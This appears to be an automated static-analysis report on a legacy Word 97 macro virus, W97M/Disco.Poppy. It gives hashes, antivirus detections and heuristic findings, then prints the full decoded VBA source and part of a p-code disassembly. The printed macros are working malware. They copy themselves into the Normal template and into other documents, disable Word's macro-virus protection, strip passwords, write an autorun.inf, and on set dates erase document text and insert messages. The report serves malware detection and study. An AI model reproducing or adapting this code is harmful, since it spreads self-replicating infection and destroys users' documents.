Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c14e157a9ba475d4…

MALICIOUS

Office (OLE)

61.5 KB Created: 1997-12-15 18:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 876534ede80b50592574334e63fe5c1a SHA-1: cb1e39f8c061207697bffdd3d149fc0fa8e5ff5c SHA-256: c14e157a9ba475d42ea0f77642b2d7ea88a7c0588170936ffcadf20b7e17af27
248 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This sample is a legacy WordBasic macro virus, detected by ClamAV as Win.Trojan.Pivis-2 and Doc.Trojan.Poppy-3. It utilizes the AutoOpen macro and concatenates strings to construct commands like 'toolsmacro', 'fileprint', and 'FileTemplates', indicating an attempt to infect other documents and spread its malicious macro.

Heuristics 5

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
                Application.OrganizerCopy Source:= _
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "autoOpen"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 37390 bytes
SHA-256: f8be8a126a56fa6f406ff0c301bb417542247747aead39cb8c234d047a19edf2
Detection
ClamAV: Doc.Trojan.Poppy-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "autoOpen"


Public Sub AutoOpen()

'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"

Dim Mac$
Dim Soma$
Dim Heroin
Dim Valium$
Dim Klonopin$
Dim A$
Dim T$
Dim p$
Dim ft$
Dim fx$
Dim ok$
Dim ICD$
    
    On Error GoTo -1: On Error GoTo hell
    T$ = "t" + "oo" + "l" + "s" + "m" + "a" + "c" + "r" + "o"
    p$ = "f" + "i" + "l" + "e" + "p" + "ri" + "nt"
    ft$ = "Fi" + "le" + "Te" + "mp" + "la" + "t" + "es"
    fx$ = "F" + "i" + "l" + "e" + "E" + "x" + "i" + "t"
    A$ = "a" + "u" + "to" + "O" + "p" + "en"
    Valium$ = "N" + "O" + "R" + "M" + "A" + "L" + "." + "D" + "OT"
    Klonopin$ = "H" + "e" + "l" + "p" + "A" + "b" + "ou" + "t"
    ICD$ = "Disco"
    ok$ = 0
    
    Soma$ = UCase(WordBasic.[Right$](WordBasic.[MacroFileName$](WordBasic.[MacroName$](0)), 10))

    If Soma$ = Valium$ Then
        
        Heroin = GetAttr(ActiveDocument.FullName)
        
        If Heroin >= vbArchive Then ok$ = 1
        If Heroin >= vbSystem Then ok$ = 1
        If Heroin >= vbHidden Then ok$ = 1
        If ok$ = 1 Then
        
        For X = 1 To 7
            If X = 1 Then Mac$ = A$
            If X = 2 Then Mac$ = T$
            If X = 3 Then Mac$ = p$
            If X = 4 Then Mac$ = ft$
            If X = 5 Then Mac$ = fx$
            If X = 6 Then Mac$ = Klonopin$
            If X = 7 Then Mac$ = ICD$
            
            Application.OrganizerCopy Source:= _
        NormalTemplate.FullName, Destination:= _
        ActiveDocument.FullName, Name:=Mac$, Object:= _
        wdOrganizerObjectProjectItems
            
        Next X
        
            WordBasic.FileSaveAs Format:=1
            WordBasic.SetDocumentDirty 0
            Call dhIconDisco("C:\autorun.inf")
            
        End If
    Else
               
        For X = 1 To 7
            If X = 1 Then Mac$ = A$
            If X = 2 Then Mac$ = T$
            If X = 3 Then Mac$ = p$
            If X = 4 Then Mac$ = ft$
            If X = 5 Then Mac$ = fx$
            If X = 6 Then Mac$ = Klonopin$
            If X = 7 Then Mac$ = ICD$
                           
        Application.OrganizerCopy Source:= _
        ActiveDocument.FullName, Destination:= _
        NormalTemplate.FullName, Name:=Mac$, Object:= _
        wdOrganizerObjectProjectItems
        
        Next X
        
    End If
    
    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    
    With ActiveDocument
        .ReadOnlyRecommended = False
        .Password = ""
        .WritePassword = ""
    End With

'        Application.OrganizerDelete Source:= _
'        NormalTemplate.FullName, Name:="Cap", Object:= _
'        wdOrganizerObjectProjectItems
        
GoTo fuckoff

hell:
        
fuckoff:
    On Error GoTo -1: On Error GoTo 0


End Sub
Sub ViewVBCode()
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"

MsgBox "  W97M/Disco.Poppy by VicodinES  ", vbOKOnly, " © The Narkotic Network "
MsgBox "Everything is fine - nothing to see here - let's move it along kids!", vbExclamation, " * VicodinES * Klonopin.Jones * Fastin.Blee * "
MsgBox "Social camouflage for this modern age!", vbQuestion, "Slogan?"
End Sub

Attribute VB_Name = "toolsmacro"

Public Sub ToolsMacro()
Attribute ToolsMacro.VB_Description = "Runs, creates, deletes, or revises a macro"
Attribute ToolsMacro.VB_ProcData.VB_Invoke_Func = "TemplateProject.toolsmacro.MAIN"

'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"

    Dim D$
    Dim Ti$
    Dim Tp$
    Dim Z


    Ti$ = Time
    Tp$ = "12:00:01 PM"
    D$ = Date


    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With
    
    Z = 0
    
    If D$ = "4/12/98" Then Z = 1
    If Ti$ = Tp$ Then Z = 1
    If D$ = "4/12/99" Then Z = 1
    If D$ = "1/11/98" Then Z = 1
    If D$ = "1/11/99" Then Z = 1
    If D$ = "6/14/99" Then Z = 1
    If D$ = "1/22/98" Then Z = 1
    If D$ = "8/21/98" Then Z = 1
    If D$ = "9/19/99" Then Z = 1
    If D$ = "8/18/99" Then Z = 1
    If D$ = "7/9/99" Then Z = 1
    If D$ = "12/17/99" Then Z = 1
    If D$ = "8/18/98" Then Z = 1
    If D$ = "7/9/98" Then Z = 1
    If D$ = "12/17/98" Then Z = 1
    
If Z = 1 Then

    With Options
        .CheckSpellingAsYouType = False
        .CheckGrammarAsYouType = False
        .SuggestSpellingCorrections = False
        .SuggestFromMainDictionaryOnly = False
        .CheckGrammarWithSpelling = True
        .ShowReadabilityStatistics = False
        .IgnoreUppercase = True
        .IgnoreMixedDigits = True
        .IgnoreInternetAndFileAddresses = True

    End With

    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:= _
        "Macro.Poppy.I aka Disco.Poppy"
    Selection.TypeParagraph
    Selection.TypeText Text:= _
        "By VicodinES"
    Selection.TypeParagraph
    Selection.TypeText Text:= _
        "Macro Virus for Word 97"
    Selection.TypeParagraph
        Selection.TypeParagraph
            Selection.TypeParagraph
                Selection.TypeParagraph
    Selection.TypeText Text:= _
        "T h e   N a r k o t i c   N e t w o r k !"
    Selection.TypeParagraph
    
Else

GoTo fuck1

End If

fuck1:

End Sub


Attribute VB_Name = "fileprint"

Sub fileprint()

'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"

    Dim D$
    Dim Ti$
    Dim Tp$
    Dim Z

    Ti$ = Time
    Tp$ = "12:00:01 PM"
    D$ = Date
    
    Z = 0
    
    If D$ = "4/12/98" Then Z = 1
    If Ti$ = Tp$ Then Z = 1
    If D$ = "4/12/99" Then Z = 1
    If D$ = "1/11/98" Then Z = 1
    If D$ = "1/11/99" Then Z = 1
    If D$ = "6/14/99" Then Z = 1
    If D$ = "1/22/98" Then Z = 1
    If D$ = "8/21/98" Then Z = 1
    If D$ = "9/19/99" Then Z = 1
    If D$ = "8/18/99" Then Z = 1
    If D$ = "7/9/99" Then Z = 1
    If D$ = "12/17/99" Then Z = 1
    If D$ = "8/18/98" Then Z = 1
    If D$ = "7/9/98" Then Z = 1
    If D$ = "12/17/98" Then Z = 1
        
    If Z = 1 Then
    
    Selection.EndKey Unit:=wdLine
    Selection.MoveDown Unit:=wdScreen, Count:=1
    Selection.EndKey Unit:=wdLine
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:= _
        "When will you wake up and realize that we live in a "
    Selection.TypeText Text:= _
        "primitive society? Don't kid yourself - there is NO GOD!!"
        
    ActiveDocument.PrintOut
    
    
Else

    ActiveDocument.PrintOut
    
End If

End Sub
    
    
        





Attribute VB_Name = "FileTemplates"
Sub FileTemplates()
'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"

    Dim D$
    Dim Ti$
    Dim Tp$
    Dim Z

    Ti$ = Time
    Tp$ = "12:00:01 PM"
    D$ = Date
    
    Z = 0
    
    If D$ = "4/12/98" Then Z = 1
    If Ti$ = Tp$ Then Z = 1
    If D$ = "4/12/99" Then Z = 1
    If D$ = "1/11/98" Then Z = 1
    If D$ = "1/11/99" Then Z = 1
    If D$ = "6/14/99" Then Z = 1
    If D$ = "1/22/98" Then Z = 1
    If D$ = "8/21/98" Then Z = 1
    If D$ = "9/19/99" Then Z = 1
    If D$ = "8/18/99" Then Z = 1
    If D$ = "7/9/99" Then Z = 1
    If D$ = "12/17/99" Then Z = 1
    If D$ = "8/18/98" Then Z = 1
    If D$ = "7/9/98" Then Z = 1
    If D$ = "12/17/98" Then Z = 1
    
    
If Z = 1 Then

    With Options
        .CheckSpellingAsYouType = False
        .CheckGrammarAsYouType = False
        .SuggestSpellingCorrections = False
        .SuggestFromMainDictionaryOnly = False
        .CheckGrammarWithSpelling = True
        .ShowReadabilityStatistics = False
        .IgnoreUppercase = True
        .IgnoreMixedDigits = True
        .IgnoreInternetAndFileAddresses = True

    End With

    Selection.WholeStory
    Selection.Delete Unit:=wdCharacter, Count:=1
    Selection.TypeParagraph
    Selection.TypeParagraph
    Selection.TypeText Text:= _
        "Macro.Poppy.I aka Disco.Poppy"
    Selection.TypeParagraph
    Selection.TypeText Text:= _
        "By VicodinES"
    Selection.TypeParagraph
    Selection.TypeText Text:= _
        "Macro Virus for Word 97"
    Selection.TypeParagraph
        Selection.TypeParagraph
            Selection.TypeParagraph
                Selection.TypeParagraph
    Selection.TypeText Text:= _
        "T h e   N a r k o t i c   N e t w o r k !"
    Selection.TypeParagraph
    
Else

GoTo fuck1

End If

fuck1:


End Sub

Attribute VB_Name = "FileExit"
Sub FileExit()
Attribute FileExit.VB_Description = "Macro recorded 12/13/97 by Dr. Diet Mountain Dew"
Attribute FileExit.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Macro1"

'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"

    With Options
        .ConfirmConversions = False
        .VirusProtection = False
        .SaveNormalPrompt = False
    End With

    Application.Quit

End Sub

Attribute VB_Name = "HelpAbout"
Sub HelpAbout()

'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"

MsgBox "  W97M/Disco.Poppy by VicodinES  ", vbOKOnly, " © The Narkotic Network "
MsgBox "Everything is fine - nothing to see here - let's move it along kids!", vbExclamation, " * VicodinES * Klonopin.Jones * Fastin.Blee * "
MsgBox "Social camouflage for this modern age!", vbQuestion, "Slogan?"
End Sub

Attribute VB_Name = "Disco"

Sub dhIconDisco(strFile As String)

'Macro.Poppy.I aka "W97M/Disco.Poppy"
'By VicodinES
'Macro Virus for Word 97
'"this is step one in the big understanding"


Dim Part1$
Dim Part2$
Dim Part22$
Dim Part3$
Dim Part33$
Dim rn$
Dim rnn$
Dim Choice
Dim hFile As Long

Randomize

Choice = Int(Rnd * 2)
rnn$ = Int(Rnd * 66) + 2
rn$ = Int(Rnd * 27) + 1
Part1$ = "[autorun]"
Part2$ = "icon = c:\windows\system\pifmgr.dll,"
Part22$ = "icon = c:\windows\SYSTEM\shell32.dll,"
Part3$ = Part2$ + rn$
Part33$ = Part22$ + rnn$


    hFile = FreeFile
    Open strFile For Output Access Write As hFile
    Print #hFile, Part1$
    If Choice = 0 Then
        Print #hFile, Part3$
    Else
        Print #hFile, Part33$
    End If
    Close hFile


    
End Sub

' Processing file: /tmp/qstore_qds32wsi
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/autoOpen - 7840 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Public Sub AutoOpen())
' Line #3:
' Line #4:
' 	QuoteRem 0x0000 0x0024 "Macro.Poppy.I aka "W97M/Disco.Poppy""
' Line #5:
' 	QuoteRem 0x0000 0x000C "By VicodinES"
' Line #6:
' 	QuoteRem 0x0000 0x0017 "Macro Virus for Word 97"
' Line #7:
' 	QuoteRem 0x0000 0x002B ""this is step one in the big understanding""
' Line #8:
' Line #9:
' 	Dim 
' 	VarDefn Mac
' Line #10:
' 	Dim 
' 	VarDefn Soma
' Line #11:
' 	Dim 
' 	VarDefn Heroin
' Line #12:
' 	Dim 
' 	VarDefn Valium
' Line #13:
' 	Dim 
' 	VarDefn Klonopin
' Line #14:
' 	Dim 
' 	VarDefn A
' Line #15:
' 	Dim 
' 	VarDefn T
' Line #16:
' 	Dim 
' 	VarDefn p
' Line #17:
' 	Dim 
' 	VarDefn ft
' Line #18:
' 	Dim 
' 	VarDefn fx
' Line #19:
' 	Dim 
' 	VarDefn ok
' Line #20:
' 	Dim 
' 	VarDefn ICD
' Line #21:
' Line #22:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError hell 
' Line #23:
' 	LitStr 0x0001 "t"
' 	LitStr 0x0002 "oo"
' 	Add 
' 	LitStr 0x0001 "l"
' 	Add 
' 	LitStr 0x0001 "s"
' 	Add 
' 	LitStr 0x0001 "m"
' 	Add 
' 	LitStr 0x0001 "a"
' 	Add 
' 	LitStr 0x0001 "c"
' 	Add 
' 	LitStr 0x0001 "r"
' 	Add 
' 	LitStr 0x0001 "o"
' 	Add 
' 	St T$ 
' Line #24:
' 	LitStr 0x0001 "f"
' 	LitStr 0x0001 "i"
' 	Add 
' 	LitStr 0x0001 "l"
' 	Add 
' 	LitStr 0x0001 "e"
' 	Add 
' 	LitStr 0x0001 "p"
' 	Add 
' 	LitStr 0x0002 "ri"
' 	Add 
' 	LitStr 0x0002 "nt"
' 	Add 
' 	St p$ 
' Line #25:
' 	LitStr 0x0002 "Fi"
' 	LitStr 0x0002 "le"
' 	Add 
' 	LitStr 0x0002 "Te"
' 	Add 
' 	LitStr 0x0002 "mp"
' 	Add 
' 	LitStr 0x0002 "la"
' 	Add 
' 	LitStr 0x0001 "t"
' 	Add 
' 	LitStr 0x0002 "es"
' 	Add 
' 	St ft$ 
' Line #26:
' 	LitStr 0x0001 "F"
' 	LitStr 0x0001 "i"
' 	Add 
' 	LitStr 0x0001 "l"
' 	Add 
' 	LitStr 0x0001 "e"
' 	Add 
' 	LitStr 0x0001 "E"
' 	Add 
' 	LitStr 0x0001 "x"
' 	Add 
' 	LitStr 0x0001 "i"
' 	Add 
' 	LitStr 0x0001 "t"
' 	Add 
' 	St fx$ 
' Line #27:
' 	LitStr 0x0001 "a"
' 	LitStr 0x0001 "u"
' 	Add 
' 	LitStr 0x0002 "to"
' 	Add 
' 	LitStr 0x0001 "O"
' 	Add 
' 	LitStr 0x0001 "p"
' 	Add 
' 	LitStr 0x0002 "en"
' 	Add 
' 	St A$ 
' Line #28:
' 	LitStr 0x0001 "N"
' 	LitStr 0x0001 "O"
' 	Add 
' 	LitStr 0x0001 "R"
' 	Add 
' 	LitStr 0x0001 "M"
' 	Add 
' 	LitStr 0x0001 "A"
' 	Add 
' 	LitStr 0x0001 "L"
' 	Add 
' 	LitStr 0x0001 "."
' 	Add 
' 	LitStr 0x0001 "D"
' 	Add 
' 	LitStr 0x0002 "OT"
' 	Add 
' 	St Valium$ 
' Line #29:
' 	LitStr 0x0001 "H"
' 	LitStr 0x0001 "e"
' 	Add 
' 	LitStr 0x0001 "l"
' 	Add 
' 	LitStr 0x0001 "p"
' 	Add 
' 	LitStr 0x0001 "A"
' 	Add 
' 	LitStr 0x0001 "b"
' 	Add 
' 	LitStr 0x0002 "ou"
' 	Add 
' 	LitStr 0x0001 "t"
' 	Add 
' 	St Klonopin$ 
' Line #30:
' 	LitStr 0x0005 "Disco"
' 	St ICD$ 
' Line #31:
' 	LitDI2 0x0000 
' 	St ok$ 
' Line #32:
' Line #33:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroName$] 0x0001 
' 	Ld WordBasic 
' 	ArgsMemLd [MacroFileName$] 0x0001 
' 	LitDI2 0x000A 
' 	Ld WordBasic 
' 	ArgsMemLd [Right$] 0x0002 
' 	ArgsLd UCase 0x0001 
' 	St Soma$ 
' Line #34:
' Line #35:
' 	Ld Soma$ 
' 	Ld Valium$ 
' 	Eq 
' 	IfBlock 
' Line #36:
' Line #37:
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ArgsLd GetAttr 0x0001 
' 	St Heroin 
' Line #38:
' Line #39:
' 	Ld Heroin 
' 	Ld vbArchive 
' 	Ge 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	St ok$ 
' 	EndIf 
' Line #40:
' 	Ld Heroin 
' 	Ld vbSystem 
' 	Ge 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	St ok$ 
' 	EndIf 
' Line #41:
' 	Ld Heroin 
' 	Ld vbHidden 
' 	Ge 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0001 
' 	St ok$ 
' 	EndIf 
' Line #42:
' 	Ld ok$ 
' 	LitDI2 0x0001 
' 	Eq 
' 	IfBlock 
' Line #43:
' Line #44:
' 	StartForVariable 
' 	Ld X 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0007 
' 	For 
' Line #45:
' 	Ld X 
' 	LitDI2 0x0001 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld A$ 
' 	St Mac$ 
' 	EndIf 
' Line #46:
' 	Ld X 
' 	LitDI2 0x0002 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld T$ 
' 	St Mac$ 
' 	EndIf 
' Line #47:
' 	Ld X 
' 	LitDI2 0x0003 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld p$ 
' 	St Mac$ 
' 	EndIf 
' Line #48:
' 	Ld X 
' 	LitDI2 0x0004 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ft$ 
' 	St Mac$ 
' 	EndIf 
' Line #49:
' 	Ld X 
' 	LitDI2 0x0005 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld fx$ 
' 	St Mac$ 
' 	EndIf 
' Line #50:
' 	Ld X 
' 	LitDI2 0x0006 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld Klonopin$ 
' 	St Mac$ 
' 	EndIf 
' Line #51:
' 	Ld X 
' 	LitDI2 0x0007 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ICD$ 
' 	St Mac$ 
' 	EndIf 
' Line #52:
' Line #53:
' 	LineCont 0x000C 05 00 08 00 0B 00 08 00 15 00 08 00
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	Ld Mac$ 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #54:
' Line #55:
' 	StartForVariable 
' 	Ld X 
' 	EndForVariable 
' 	NextVar 
' Line #56:
' Line #57:
' 	LitDI2 0x0001 
' 	ParamNamed Format$ 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #58:
' 	LitDI2 0x0000 
' 	Ld WordBasic 
' 	ArgsMemCall SetDocumentDirty 0x0001 
' Line #59:
' 	LitStr 0x000E "C:\autorun.inf"
' 	ArgsCall (Call) dhIconDisco 0x0001 
' Line #60:
' Line #61:
' 	EndIfBlock 
' Line #62:
' 	ElseBlock 
' Line #63:
' Line #64:
' 	StartForVariable 
' 	Ld X 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0007 
' 	For 
' Line #65:
' 	Ld X 
' 	LitDI2 0x0001 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld A$ 
' 	St Mac$ 
' 	EndIf 
' Line #66:
' 	Ld X 
' 	LitDI2 0x0002 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld T$ 
' 	St Mac$ 
' 	EndIf 
' Line #67:
' 	Ld X 
' 	LitDI2 0x0003 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld p$ 
' 	St Mac$ 
' 	EndIf 
' Line #68:
' 	Ld X 
' 	LitDI2 0x0004 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ft$ 
' 	St Mac$ 
' 	EndIf 
' Line #69:
' 	Ld X 
' 	LitDI2 0x0005 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld fx$ 
' 	St Mac$ 
' 	EndIf 
' Line #70:
' 	Ld X 
' 	LitDI2 0x0006 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld Klonopin$ 
' 	St Mac$ 
' 	EndIf 
' Line #71:
' 	Ld X 
' 	LitDI2 0x0007 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ICD$ 
' 	St Mac$ 
' 	EndIf 
' Line #72:
' Line #73:
' 	LineCont 0x000C 05 00 08 00 0B 00 08 00 15 00 08 00
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed Source 
' 	Ld NormalTemplate 
' 	MemLd FullName 
' 	ParamNamed Destination 
' 	Ld Mac$ 
' 	ParamNamed New 
' 	Ld wdOrganizerObjectProjectItems 
' 	ParamNamed On 
' 	Ld Application 
' 	ArgsMemCall OrganizerCopy 0x0004 
' Line #74:
' Line #75:
' 	StartForVariable 
' 	Ld X 
' 	EndForVariable 
' 	NextVar 
' Line #76:
' Line #77:
' 	EndIfBlock 
' Line #78:
' Line #79:
' 	StartWithExpr 
' 	Ld Options 
' 	With 
' Line #80:
' 	LitVarSpecial (False)
' 	MemStWith ConfirmConversions 
' Line #81:
' 	LitVarSpecial (False)
' 	MemStWith VirusProtection 
' Line #82:
' 	LitVarSpecial (False)
' 	MemStWith SaveNormalPrompt 
' Line #83:
' 	EndWith 
' Line #84:
' Line #85:
' 	StartWithExpr 
' 	Ld ActiveDocument 
' 	With 
' Line #86:
' 	LitVarSpecial (False)
' 	MemStWith ReadOnlyRecommended 
' Line #87:
' 	LitStr 0x0000 ""
' 	MemStWith Password 
' Line #88:
' 	LitStr 0x0000 ""
' 	MemStWith WritePassword 
' Line #89:
' 	EndWith 
' Line #90:
' Line #91:
' 	LineCont 0x0008 01 00 D4 FF 01 00 9D FF
' 	QuoteRem 0x0000 0x0089 "        Application.OrganizerDelete Source:='        NormalTemplate.FullName, Name:="Cap", Object:='        wdOrganizerObjectProjectItems"
' Line #92:
' Line #93:
' 	GoTo fuckoff 
' Line #94:
' Line #95:
' 	Label hell 
' Line #96:
' Line #97:
' 	Label fuckoff 
' Line #98:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError (GoTo 0) 
' Line #99:
' Line #100:
' Line #101:
' 	EndSub 
' Line #102:
' 	FuncDefn (Sub ViewVBCode())
' Line #103:
' 	QuoteRem 0x0000 0x0024 "Macro.Poppy.I aka "W97M/Disco.Poppy""
' Line #104:
' 	QuoteRem 0x0000 0x000C "By VicodinES"
' Line #105:
' 	QuoteRem 0x0000 0x0017 "Macro Virus for Word 97"
' Line #106:
' 	QuoteRem 0x0000 0x002B ""this is step one in the big understanding""
' Line #107:
' Line #108:
' 	LitStr 0x0021 "  W97M/Disco.Poppy by VicodinES  "
' 	Ld vbOKOnly 
' 	LitStr 0x0018 " © The Narkotic Network "
' 	ArgsCall MsgBox 0x0003 
' Line #109:
' 	LitStr 0x0044 "Everything is fine - nothing to see here - let's move it along kids!"
' 	Ld vbExclamation 
' 	LitStr 0x002E " * VicodinES * Klonopin.Jones * Fastin.Blee * "
' 	ArgsCall MsgBox 0x0003 
' Line #110:
' 	LitStr 0x0026 "Social camouflage for this modern age!"
' 	Ld vbQuestion 
' 	LitStr 0x0007 "Slogan?"
' 	ArgsCall MsgBox 0x0003 
' Line #111:
' 	EndSub 
' Macros/VBA/toolsmacro - 4239 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub ToolsMacro())
' Line #2:
' Line #3:
' 	QuoteRem 0x0000 0x0024 "Macro.Poppy.I aka "W97M/Disco.Poppy""
' Line #4:
' 	QuoteRem 0x0000 0x000C "By VicodinES"
' Line #5:
' 	QuoteRem 0x0000 0x0017 "Macro Virus for Word 97"
' Line #6:
' 	QuoteRem 0x0000 0x002B ""this is step one in the big understanding""
' Line #7:
' Line #8:
' 	Dim 
' 	VarDefn D
' Line #9:
' 	Dim 
' 	VarDefn Ti
' Line #10:
' 	Dim 
' 	VarDefn Tp
' Line #11:
' 	Dim 
' 	VarDefn Z
' Line #12:
…

Open this report in the interactive analyzer, or submit your own file for analysis.